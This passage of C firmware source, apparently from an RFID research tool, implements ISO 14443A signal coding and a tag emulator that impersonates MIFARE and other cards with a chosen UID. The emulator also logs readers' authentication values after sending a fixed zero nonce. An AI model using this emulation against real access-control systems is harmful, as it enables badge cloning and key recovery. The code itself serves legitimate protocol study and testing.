788 ToSendStuffBit(0);
789 ToSendStuffBit(0);
790 ToSendStuffBit(0);
791 ToSendStuffBit(0);
792 ToSendStuffBit(1); // 1
793 ToSendStuffBit(0);
794 ToSendStuffBit(0);
795 ToSendStuffBit(0);
796
797 // Send startbit
798 ToSend[++ToSendMax] = SEC_D;
799
800 uint8_t b = cmd;
801 for(i = 0; i < 4; i++) {
802 if(b & 1) {
803 ToSend[++ToSendMax] = SEC_D;
804 LastProxToAirDuration = 8 * ToSendMax - 4;
805 } else {
806 ToSend[++ToSendMax] = SEC_E;
807 LastProxToAirDuration = 8 * ToSendMax;
808 }
809 b >>= 1;
810 }
811
812 // Send stopbit
813 ToSend[++ToSendMax] = SEC_F;
814
815 // Convert from last byte pos to length
816 ToSendMax++;
817}
818
819
820static uint8_t *LastReaderTraceTime = NULL;
821
822static void EmLogTraceReader(void) {
823 // remember last reader trace start to fix timing info later
824 LastReaderTraceTime = BigBuf_get_addr() + BigBuf_get_traceLen();
825 LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true);
826}
827
828
829static void FixLastReaderTraceTime(uint32_t tag_StartTime) {
830 uint32_t reader_EndTime = Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG;
831 uint32_t reader_StartTime = Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG;
832 uint16_t reader_modlen = reader_EndTime - reader_StartTime;
833 uint16_t approx_fdt = tag_StartTime - reader_EndTime;
834 uint16_t exact_fdt = (approx_fdt - 20 + 32)/64 * 64 + 20;
835 reader_StartTime = tag_StartTime - exact_fdt - reader_modlen;
836 LastReaderTraceTime[0] = (reader_StartTime >> 0) & 0xff;
837 LastReaderTraceTime[1] = (reader_StartTime >> 8) & 0xff;
838 LastReaderTraceTime[2] = (reader_StartTime >> 16) & 0xff;
839 LastReaderTraceTime[3] = (reader_StartTime >> 24) & 0xff;
840}
841
842
843static void EmLogTraceTag(uint8_t *tag_data, uint16_t tag_len, uint8_t *tag_Parity, uint32_t ProxToAirDuration) {
844 uint32_t tag_StartTime = LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_TAG;
845 uint32_t tag_EndTime = (LastTimeProxToAirStart + ProxToAirDuration)*16 + DELAY_ARM2AIR_AS_TAG;
846 LogTrace(tag_data, tag_len, tag_StartTime, tag_EndTime, tag_Parity, false);
847 FixLastReaderTraceTime(tag_StartTime);
848}
849
850
851//-----------------------------------------------------------------------------
852// Wait for commands from reader
853// Stop when button is pressed
854// Or return true when command is captured
855//-----------------------------------------------------------------------------
856static int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len)
857{
858 // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen
859 // only, since we are receiving, not transmitting).
860 // Signal field is off with the appropriate LED
861 LED_D_OFF();
862 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
863
864 // Now run a `software UART' on the stream of incoming samples.
865 UartInit(received, parity);
866
867 // clear RXRDY:
868 uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
869
870 for(;;) {
871 WDT_HIT();
872
873 if(BUTTON_PRESS()) return false;
874
875 if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
876 b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
877 if(MillerDecoding(b, 0)) {
878 *len = Uart.len;
879 EmLogTraceReader();
880 return true;
881 }
882 }
883 }
884}
885
886
887static int EmSend4bitEx(uint8_t resp);
888int EmSend4bit(uint8_t resp);
889static int EmSendCmdExPar(uint8_t *resp, uint16_t respLen, uint8_t *par);
890int EmSendCmdEx(uint8_t *resp, uint16_t respLen);
891int EmSendPrecompiledCmd(tag_response_info_t *response_info);
892
893
894static bool prepare_tag_modulation(tag_response_info_t* response_info, size_t max_buffer_size) {
895 // Example response, answer to MIFARE Classic read block will be 16 bytes + 2 CRC = 18 bytes
896 // This will need the following byte array for a modulation sequence
897 // 144 data bits (18 * 8)
898 // 18 parity bits
899 // 2 Start and stop
900 // 1 Correction bit (Answer in 1172 or 1236 periods, see FPGA)
901 // 1 just for the case
902 // ----------- +
903 // 166 bytes, since every bit that needs to be send costs us a byte
904 //
905
906
907 // Prepare the tag modulation bits from the message
908 GetParity(response_info->response, response_info->response_n, &(response_info->par));
909 CodeIso14443aAsTagPar(response_info->response,response_info->response_n, &(response_info->par));
910
911 // Make sure we do not exceed the free buffer space
912 if (ToSendMax > max_buffer_size) {
913 Dbprintf("Out of memory, when modulating bits for tag answer:");
914 Dbhexdump(response_info->response_n, response_info->response, false);
915 return false;
916 }
917
918 // Copy the byte array, used for this modulation to the buffer position
919 memcpy(response_info->modulation, ToSend, ToSendMax);
920
921 // Store the number of bytes that were used for encoding/modulation and the time needed to transfer them
922 response_info->modulation_n = ToSendMax;
923 response_info->ProxToAirDuration = LastProxToAirDuration;
924
925 return true;
926}
927
928
929// "precompile" responses. There are 7 predefined responses with a total of 28 bytes data to transmit.
930// Coded responses need one byte per bit to transfer (data, parity, start, stop, correction)
931// 28 * 8 data bits, 28 * 1 parity bits, 7 start bits, 7 stop bits, 7 correction bits for the modulation
932// -> need 273 bytes buffer
933#define ALLOCATED_TAG_MODULATION_BUFFER_SIZE 273
934
935bool prepare_allocated_tag_modulation(tag_response_info_t* response_info, uint8_t **buffer, size_t *max_buffer_size) {
936
937 // Retrieve and store the current buffer index
938 response_info->modulation = *buffer;
939
940 // Forward the prepare tag modulation function to the inner function
941 if (prepare_tag_modulation(response_info, *max_buffer_size)) {
942 // Update the free buffer offset and the remaining buffer size
943 *buffer += ToSendMax;
944 *max_buffer_size -= ToSendMax;
945 return true;
946 } else {
947 return false;
948 }
949}
950
951//-----------------------------------------------------------------------------
952// Main loop of simulated tag: receive commands from reader, decide what
953// response to send, and send it.
954//-----------------------------------------------------------------------------
955void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
956{
957 uint8_t sak;
958
959 // The first response contains the ATQA (note: bytes are transmitted in reverse order).
960 uint8_t response1[2];
961
962 switch (tagType) {
963 case 1: { // MIFARE Classic
964 // Says: I am Mifare 1k - original line
965 response1[0] = 0x04;
966 response1[1] = 0x00;
967 sak = 0x08;
968 } break;
969 case 2: { // MIFARE Ultralight
970 // Says: I am a stupid memory tag, no crypto
971 response1[0] = 0x04;
972 response1[1] = 0x00;
973 sak = 0x00;
974 } break;
975 case 3: { // MIFARE DESFire
976 // Says: I am a DESFire tag, ph33r me
977 response1[0] = 0x04;
978 response1[1] = 0x03;
979 sak = 0x20;
980 } break;
981 case 4: { // ISO/IEC 14443-4
982 // Says: I am a javacard (JCOP)
983 response1[0] = 0x04;
984 response1[1] = 0x00;
985 sak = 0x28;
986 } break;
987 case 5: { // MIFARE TNP3XXX
988 // Says: I am a toy
989 response1[0] = 0x01;
990 response1[1] = 0x0f;
991 sak = 0x01;
992 } break;
993 default: {
994 Dbprintf("Error: unkown tagtype (%d)",tagType);
995 return;
996 } break;
997 }
998
999 // The second response contains the (mandatory) first 24 bits of the UID
1000 uint8_t response2[5] = {0x00};
1001
1002 // Check if the uid uses the (optional) part
1003 uint8_t response2a[5] = {0x00};
1004
1005 if (uid_2nd) {
1006 response2[0] = 0x88;
1007 num_to_bytes(uid_1st,3,response2+1);
1008 num_to_bytes(uid_2nd,4,response2a);
1009 response2a[4] = response2a[0] ^ response2a[1] ^ response2a[2] ^ response2a[3];
1010
1011 // Configure the ATQA and SAK accordingly
1012 response1[0] |= 0x40;
1013 sak |= 0x04;
1014 } else {
1015 num_to_bytes(uid_1st,4,response2);
1016 // Configure the ATQA and SAK accordingly
1017 response1[0] &= 0xBF;
1018 sak &= 0xFB;
1019 }
1020
1021 // Calculate the BitCountCheck (BCC) for the first 4 bytes of the UID.
1022 response2[4] = response2[0] ^ response2[1] ^ response2[2] ^ response2[3];
1023
1024 // Prepare the mandatory SAK (for 4 and 7 byte UID)
1025 uint8_t response3[3] = {0x00};
1026 response3[0] = sak;
1027 ComputeCrc14443(CRC_14443_A, response3, 1, &response3[1], &response3[2]);
1028
1029 // Prepare the optional second SAK (for 7 byte UID), drop the cascade bit
1030 uint8_t response3a[3] = {0x00};
1031 response3a[0] = sak & 0xFB;
1032 ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]);
1033
1034 uint8_t response5[] = { 0x00, 0x00, 0x00, 0x00 }; // Very random tag nonce
1035 uint8_t response6[] = { 0x04, 0x58, 0x80, 0x02, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS:
1036 // Format byte = 0x58: FSCI=0x08 (FSC=256), TA(1) and TC(1) present,
1037 // TA(1) = 0x80: different divisors not supported, DR = 1, DS = 1
1038 // TB(1) = not present. Defaults: FWI = 4 (FWT = 256 * 16 * 2^4 * 1/fc = 4833us), SFGI = 0 (SFG = 256 * 16 * 2^0 * 1/fc = 302us)
1039 // TC(1) = 0x02: CID supported, NAD not supported
1040 ComputeCrc14443(CRC_14443_A, response6, 4, &response6[4], &response6[5]);
1041
1042 #define TAG_RESPONSE_COUNT 7
1043 tag_response_info_t responses[TAG_RESPONSE_COUNT] = {
1044 { .response = response1, .response_n = sizeof(response1) }, // Answer to request - respond with card type
1045 { .response = response2, .response_n = sizeof(response2) }, // Anticollision cascade1 - respond with uid
1046 { .response = response2a, .response_n = sizeof(response2a) }, // Anticollision cascade2 - respond with 2nd half of uid if asked
1047 { .response = response3, .response_n = sizeof(response3) }, // Acknowledge select - cascade 1
1048 { .response = response3a, .response_n = sizeof(response3a) }, // Acknowledge select - cascade 2
1049 { .response = response5, .response_n = sizeof(response5) }, // Authentication answer (random nonce)
1050 { .response = response6, .response_n = sizeof(response6) }, // dummy ATS (pseudo-ATR), answer to RATS
1051 };
1052
1053 // Allocate 512 bytes for the dynamic modulation, created when the reader queries for it
1054 // Such a response is less time critical, so we can prepare them on the fly
1055 #define DYNAMIC_RESPONSE_BUFFER_SIZE 64
1056 #define DYNAMIC_MODULATION_BUFFER_SIZE 512
1057 uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE];
1058 uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE];
1059 tag_response_info_t dynamic_response_info = {
1060 .response = dynamic_response_buffer,
1061 .response_n = 0,
1062 .modulation = dynamic_modulation_buffer,
1063 .modulation_n = 0
1064 };
1065
1066 // We need to listen to the high-frequency, peak-detected path.
1067 iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
1068
1069 BigBuf_free_keep_EM();
1070
1071 // allocate buffers:
1072 uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE);
1073 uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE);
1074 uint8_t *free_buffer_pointer = BigBuf_malloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE);
1075 size_t free_buffer_size = ALLOCATED_TAG_MODULATION_BUFFER_SIZE;
1076 // clear trace
1077 clear_trace();
1078 set_tracing(true);
1079
1080 // Prepare the responses of the anticollision phase
1081 // there will be not enough time to do this at the moment the reader sends it REQA
1082 for (size_t i=0; i<TAG_RESPONSE_COUNT; i++) {
1083 prepare_allocated_tag_modulation(&responses[i], &free_buffer_pointer, &free_buffer_size);
1084 }
1085
1086 int len = 0;
1087
1088 // To control where we are in the protocol
1089 int order = 0;
1090 int lastorder;
1091
1092 // Just to allow some checks
1093 int happened = 0;
1094 int happened2 = 0;
1095 int cmdsRecvd = 0;
1096
1097 cmdsRecvd = 0;
1098 tag_response_info_t* p_response;
1099
1100 LED_A_ON();
1101 for(;;) {
1102 // Clean receive command buffer
1103 if(!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
1104 DbpString("Button press");
1105 break;
1106 }
1107
1108 p_response = NULL;
1109
1110 // Okay, look at the command now.
1111 lastorder = order;
1112 if(receivedCmd[0] == 0x26) { // Received a REQUEST
1113 p_response = &responses[0]; order = 1;
1114 } else if(receivedCmd[0] == 0x52) { // Received a WAKEUP
1115 p_response = &responses[0]; order = 6;
1116 } else if(receivedCmd[1] == 0x20 && receivedCmd[0] == 0x93) { // Received request for UID (cascade 1)
1117 p_response = &responses[1]; order = 2;
1118 } else if(receivedCmd[1] == 0x20 && receivedCmd[0] == 0x95) { // Received request for UID (cascade 2)
1119 p_response = &responses[2]; order = 20;
1120 } else if(receivedCmd[1] == 0x70 && receivedCmd[0] == 0x93) { // Received a SELECT (cascade 1)
1121 p_response = &responses[3]; order = 3;
1122 } else if(receivedCmd[1] == 0x70 && receivedCmd[0] == 0x95) { // Received a SELECT (cascade 2)
1123 p_response = &responses[4]; order = 30;
1124 } else if(receivedCmd[0] == 0x30) { // Received a (plain) READ
1125 EmSendCmdEx(data+(4*receivedCmd[1]),16);
1126 // Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
1127 // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
1128 p_response = NULL;
1129 } else if(receivedCmd[0] == 0x50) { // Received a HALT
1130 p_response = NULL;
1131 } else if(receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61) { // Received an authentication request
1132 p_response = &responses[5]; order = 7;
1133 } else if(receivedCmd[0] == 0xE0) { // Received a RATS request
1134 if (tagType == 1 || tagType == 2) { // RATS not supported
1135 EmSend4bit(CARD_NACK_NA);
1136 p_response = NULL;
1137 } else {
1138 p_response = &responses[6]; order = 70;
1139 }
1140 } else if (order == 7 && len == 8) { // Received {nr] and {ar} (part of authentication)
1141 uint32_t nr = bytes_to_num(receivedCmd,4);
1142 uint32_t ar = bytes_to_num(receivedCmd+4,4);
1143 Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
1144 } else {
1145 // Check for ISO 14443A-4 compliant commands, look at left nibble
1146 switch (receivedCmd[0]) {
1147
1148 case 0x0B:
1149 case 0x0A: { // IBlock (command)
1150 dynamic_response_info.response[0] = receivedCmd[0];
1151 dynamic_response_info.response[1] = 0x00;
1152 dynamic_response_info.response[2] = 0x90;
1153 dynamic_response_info.response[3] = 0x00;
1154 dynamic_response_info.response_n = 4;
1155 } break;
1156
1157 case 0x1A:
1158 case 0x1B: { // Chaining command
1159 dynamic_response_info.response[0] = 0xaa | ((receivedCmd[0]) & 1);
1160 dynamic_response_info.response_n = 2;
1161 } break;
1162
1163 case 0xaa:
1164 case 0xbb: {
1165 dynamic_response_info.response[0] = receivedCmd[0] ^ 0x11;
1166 dynamic_response_info.response_n = 2;
1167 } break;
1168
1169 case 0xBA: { //
1170 memcpy(dynamic_response_info.response,"\xAB\x00",2);
1171 dynamic_response_info.response_n = 2;
1172 } break;
1173
1174 case 0xCA:
1175 case 0xC2: { // Readers sends deselect command
1176 memcpy(dynamic_response_info.response,"\xCA\x00",2);
1177 dynamic_response_info.response_n = 2;
1178 } break;
1179
1180 default: {
1181 // Never seen this command before
1182 Dbprintf("Received unknown command (len=%d):",len);
1183 Dbhexdump(len,receivedCmd,false);
1184 // Do not respond
1185 dynamic_response_info.response_n = 0;
1186 } break;
1187 }
1188
1189 if (dynamic_response_info.response_n > 0) {
1190 // Copy the CID from the reader query
1191 dynamic_response_info.response[1] = receivedCmd[1];
1192
1193 // Add CRC bytes, always used in ISO 14443A-4 compliant cards
1194 AppendCrc14443a(dynamic_response_info.response,dynamic_response_info.response_n);
1195 dynamic_response_info.response_n += 2;
1196
1197 if (prepare_tag_modulation(&dynamic_response_info,DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
1198 Dbprintf("Error preparing tag response");
1199 break;
1200 }
1201 p_response = &dynamic_response_info;
1202 }
1203 }
1204
1205 // Count number of wakeups received after a halt
1206 if(order == 6 && lastorder == 5) { happened++; }
1207
1208 // Count number of other messages after a halt
1209 if(order != 6 && lastorder == 5) { happened2++; }
1210
1211 if(cmdsRecvd > 999) {
1212 DbpString("1000 commands later...");
1213 break;
1214 }
1215 cmdsRecvd++;
1216
1217 if (p_response != NULL) {
1218 EmSendPrecompiledCmd(p_response);
1219 }
1220
1221 if (!get_tracing()) {
1222 Dbprintf("Trace Full. Simulation stopped.");
1223 break;
1224 }
1225 }
1226
1227 Dbprintf("%x %x %x", happened, happened2, cmdsRecvd);
1228 LED_A_OFF();
1229 BigBuf_free_keep_EM();
1230}
1231
1232
1233// prepare a delayed transfer. This simply shifts ToSend[] by a number
1234// of bits specified in the delay parameter.
1235static void PrepareDelayedTransfer(uint16_t delay)
1236{
1237 uint8_t bitmask = 0;
1238 uint8_t bits_to_shift = 0;
1239 uint8_t bits_shifted = 0;
1240
1241 delay &= 0x07;
1242 if (delay) {
1243 for (uint16_t i = 0; i < delay; i++) {
1244 bitmask |= (0x01 << i);
1245 }
1246 ToSend[ToSendMax++] = 0x00;
1247 for (uint16_t i = 0; i < ToSendMax; i++) {
1248 bits_to_shift = ToSend[i] & bitmask;
1249 ToSend[i] = ToSend[i] >> delay;
1250 ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
1251 bits_shifted = bits_to_shift;
1252 }
1253 }
1254}
1255
1256
1257//-------------------------------------------------------------------------------------
1258// Transmit the command (to the tag) that was placed in ToSend[].
1259// Parameter timing:
1260// if NULL: transfer at next possible time, taking into account
1261// request guard time, startup frame guard time and frame delay time
1262// if == 0: transfer immediately and return time of transfer
1263// if != 0: delay transfer until time specified
1264//-------------------------------------------------------------------------------------
1265static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing)
1266{
1267 LED_D_ON();
1268 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
1269
1270 uint32_t ThisTransferTime = 0;
1271
1272 if (timing) {
1273 if(*timing == 0) { // Measure time
1274 *timing = (GetCountSspClk() + 8) & 0xfffffff8;
1275 } else {
1276 PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks)
1277 }
1278 if(MF_DBGLEVEL >= 4 && GetCountSspClk() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
1279 while(GetCountSspClk() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks)
1280 LastTimeProxToAirStart = *timing;
1281 } else {
1282 ThisTransferTime = ((MAX(NextTransferTime, GetCountSspClk()) & 0xfffffff8) + 8);
1283 while(GetCountSspClk() < ThisTransferTime);
1284 LastTimeProxToAirStart = ThisTransferTime;
1285 }
1286
1287 // clear TXRDY
1288 AT91C_BASE_SSC->SSC_THR = SEC_Y;
1289
1290 uint16_t c = 0;
1291 for(;;) {
1292 if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
1293 AT91C_BASE_SSC->SSC_THR = cmd[c];
1294 c++;
1295 if(c >= len) {
1296 break;
1297 }
1298 }
1299 }
1300
1301 NextTransferTime = MAX(NextTransferTime, LastTimeProxToAirStart + REQUEST_GUARD_TIME);
1302}
1303
1304
1305//-----------------------------------------------------------------------------
1306// Prepare reader command (in bits, support short frames) to send to FPGA
1307//-----------------------------------------------------------------------------
1308static void CodeIso14443aBitsAsReaderPar(const uint8_t *cmd, uint16_t bits, const uint8_t *parity)
1309{
1310 int i, j;
1311 int last;
1312 uint8_t b;
1313
1314 ToSendReset();
1315
1316 // Start of Communication (Seq. Z)
1317 ToSend[++ToSendMax] = SEC_Z;
1318 LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
1319 last = 0;
1320
1321 size_t bytecount = nbytes(bits);
1322 // Generate send structure for the data bits
1323 for (i = 0; i < bytecount; i++) {
1324 // Get the current byte to send
1325 b = cmd[i];
1326 size_t bitsleft = MIN((bits-(i*8)),8);
1327
1328 for (j = 0; j < bitsleft; j++) {
1329 if (b & 1) {
1330 // Sequence X
1331 ToSend[++ToSendMax] = SEC_X;
1332 LastProxToAirDuration = 8 * (ToSendMax+1) - 2;
1333 last = 1;
1334 } else {
1335 if (last == 0) {
1336 // Sequence Z
1337 ToSend[++ToSendMax] = SEC_Z;
1338 LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
1339 } else {
1340 // Sequence Y
1341 ToSend[++ToSendMax] = SEC_Y;
1342 last = 0;
1343 }
1344 }
1345 b >>= 1;
1346 }
1347
1348 // Only transmit parity bit if we transmitted a complete byte
1349 if (j == 8 && parity != NULL) {
1350 // Get the parity bit
1351 if (parity[i>>3] & (0x80 >> (i&0x0007))) {
1352 // Sequence X
1353 ToSend[++ToSendMax] = SEC_X;
1354 LastProxToAirDuration = 8 * (ToSendMax+1) - 2;
1355 last = 1;
1356 } else {
1357 if (last == 0) {
1358 // Sequence Z
1359 ToSend[++ToSendMax] = SEC_Z;
1360 LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
1361 } else {
1362 // Sequence Y
1363 ToSend[++ToSendMax] = SEC_Y;
1364 last = 0;
1365 }
1366 }
1367 }
1368 }
1369
1370 // End of Communication: Logic 0 followed by Sequence Y
1371 if (last == 0) {
1372 // Sequence Z
1373 ToSend[++ToSendMax] = SEC_Z;
1374 LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
1375 } else {
1376 // Sequence Y
1377 ToSend[++ToSendMax] = SEC_Y;
1378 last = 0;
1379 }
1380 ToSend[++ToSendMax] = SEC_Y;
1381
1382 // Convert to length of command:
1383 ToSendMax++;
1384}
1385
1386
1387//-----------------------------------------------------------------------------
1388// Wait for commands from reader
1389// Stop when button is pressed (return 1) or field was gone (return 2)
1390// Or return 0 when command is captured
1391//-----------------------------------------------------------------------------
1392int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *parity)
1393{
1394 *len = 0;
1395
1396 uint32_t timer = 0, vtime = 0;
1397 int analogCnt = 0;
1398 int analogAVG = 0;
1399
1400 // Set ADC to read field strength
1401 AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST;
1402 AT91C_BASE_ADC->ADC_MR =
1403 ADC_MODE_PRESCALE(63) |
1404 ADC_MODE_STARTUP_TIME(1) |
1405 ADC_MODE_SAMPLE_HOLD_TIME(15);
1406 AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_LOW);
1407 // start ADC
1408 AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
1409
1410 // Run a 'software UART' on the stream of incoming samples.
1411 UartInit(received, parity);
1412
1413 // Ensure that the FPGA Delay Queue is empty before we switch to TAGSIM_LISTEN
1414 do {
1415 if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
1416 AT91C_BASE_SSC->SSC_THR = SEC_F;
1417 uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; (void) b;
1418 }
1419 } while (GetCountSspClk() < LastTimeProxToAirStart + LastProxToAirDuration + (FpgaSendQueueDelay>>3));
1420
1421 // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen
1422 // only, since we are receiving, not transmitting).
1423 // Signal field is off with the appropriate LED
1424 LED_D_OFF();
1425 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
1426
1427 for(;;) {
1428 WDT_HIT();
1429
1430 if (BUTTON_PRESS()) return 1;
1431
1432 // test if the field exists
1433 if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_LOW)) {
1434 analogCnt++;
1435 analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_LOW];
1436 AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
1437 if (analogCnt >= 32) {
1438 if ((MAX_ADC_HF_VOLTAGE_LOW * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
1439 vtime = GetTickCount();
1440 if (!timer) timer = vtime;
1441 // 50ms no field --> card to idle state
1442 if (vtime - timer > 50) return 2;
1443 } else
1444 if (timer) timer = 0;
1445 analogCnt = 0;
1446 analogAVG = 0;
1447 }
1448 }
1449
1450 // receive and test the miller decoding
1451 if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
1452 uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
1453 if(MillerDecoding(b, 0)) {
1454 *len = Uart.len;
1455 EmLogTraceReader();
1456 return 0;
1457 }
1458 }
1459
1460 }
1461}
1462
1463
1464static int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen)
1465{
1466 uint8_t b;
1467 uint16_t i = 0;
1468 bool correctionNeeded;
1469
1470 // Modulate Manchester
1471 LED_D_OFF();
1472 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD);
1473
1474 // include correction bit if necessary
1475 if (Uart.bitCount == 7)
1476 {
1477 // Short tags (7 bits) don't have parity, determine the correct value from MSB
1478 correctionNeeded = Uart.output[0] & 0x40;
1479 }
1480 else
1481 {
1482 // Look at the last parity bit
1483 correctionNeeded = Uart.parity[(Uart.len-1)/8] & (0x80 >> ((Uart.len-1) & 7));
1484 }
1485
1486 if(correctionNeeded) {
1487 // 1236, so correction bit needed
1488 i = 0;
1489 } else {
1490 i = 1;
1491 }
1492
1493 // clear receiving shift register and holding register
1494 while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY));
1495 b = AT91C_BASE_SSC->SSC_RHR; (void) b;
1496 while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY));
1497 b = AT91C_BASE_SSC->SSC_RHR; (void) b;
1498
1499 // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line)
1500 for (uint16_t j = 0; j < 5; j++) { // allow timeout - better late than never
1501 while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY));
1502 if (AT91C_BASE_SSC->SSC_RHR) break;
1503 }
1504
1505 LastTimeProxToAirStart = (GetCountSspClk() & 0xfffffff8) + (correctionNeeded?8:0);
1506
1507 // send cycle
1508 for(; i < respLen; ) {
1509 if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
1510 AT91C_BASE_SSC->SSC_THR = resp[i++];
1511 FpgaSendQueueDelay = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
1512 }
1513
1514 if(BUTTON_PRESS()) {
1515 break;
1516 }
1517 }
1518
1519 return 0;
1520}
1521
1522
1523static int EmSend4bitEx(uint8_t resp){
1524 Code4bitAnswerAsTag(resp);
1525 int res = EmSendCmd14443aRaw(ToSend, ToSendMax);
1526 // do the tracing for the previous reader request and this tag answer:
1527 EmLogTraceTag(&resp, 1, NULL, LastProxToAirDuration);
1528 return res;
1529}
1530
1531
1532int EmSend4bit(uint8_t resp){
1533 return EmSend4bitEx(resp);
1534}
1535
1536
1537static int EmSendCmdExPar(uint8_t *resp, uint16_t respLen, uint8_t *par){
1538 CodeIso14443aAsTagPar(resp, respLen, par);
1539 int res = EmSendCmd14443aRaw(ToSend, ToSendMax);
1540 // do the tracing for the previous reader request and this tag answer:
1541 EmLogTraceTag(resp, respLen, par, LastProxToAirDuration);
1542 return res;
1543}
1544
1545
1546int EmSendCmdEx(uint8_t *resp, uint16_t respLen){
1547 uint8_t par[MAX_PARITY_SIZE];
1548 GetParity(resp, respLen, par);
1549 return EmSendCmdExPar(resp, respLen, par);
1550}
1551
1552
1553int EmSendCmd(uint8_t *resp, uint16_t respLen){
1554 uint8_t par[MAX_PARITY_SIZE];
1555 GetParity(resp, respLen, par);
1556 return EmSendCmdExPar(resp, respLen, par);
1557}
1558
1559
1560int EmSendCmdPar(uint8_t *resp, uint16_t respLen, uint8_t *par){
1561 return EmSendCmdExPar(resp, respLen, par);
1562}
1563
1564
1565int EmSendPrecompiledCmd(tag_response_info_t *response_info) {
1566 int ret = EmSendCmd14443aRaw(response_info->modulation, response_info->modulation_n);
1567 // do the tracing for the previous reader request and this tag answer:
1568 EmLogTraceTag(response_info->response, response_info->response_n, &(response_info->par), response_info->ProxToAirDuration);
1569 return ret;
1570}
1571
1572
1573//-----------------------------------------------------------------------------
1574// Wait a certain time for tag response
1575// If a response is captured return true
1576// If it takes too long return false
1577//-----------------------------------------------------------------------------
1578static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset)
1579{
1580 uint32_t c;
1581
1582 // Set FPGA mode to "reader listen mode", no modulation (listen
1583 // only, since we are receiving, not transmitting).
1584 // Signal field is on with the appropriate LED
1585 LED_D_ON();
1586 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
1587
1588 // Now get the answer from the card
1589 DemodInit(receivedResponse, receivedResponsePar);
1590
1591 // clear RXRDY:
1592 uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
1593
1594 c = 0;
1595 for(;;) {
1596 WDT_HIT();
1597
1598 if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
1599 b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
1600 if(ManchesterDecoding(b, offset, 0)) {
1601 NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/16 + FRAME_DELAY_TIME_PICC_TO_PCD);
1602 return true;
1603 } else if (c++ > iso14a_timeout && Demod.state == DEMOD_UNSYNCD) {
1604 return false;
1605 }
1606 }
1607 }
1608}
1609
1610
1611void ReaderTransmitBitsPar(uint8_t* frame, uint16_t bits, uint8_t *par, uint32_t *timing)
1612{
1613 CodeIso14443aBitsAsReaderPar(frame, bits, par);
1614
1615 // Send command to tag
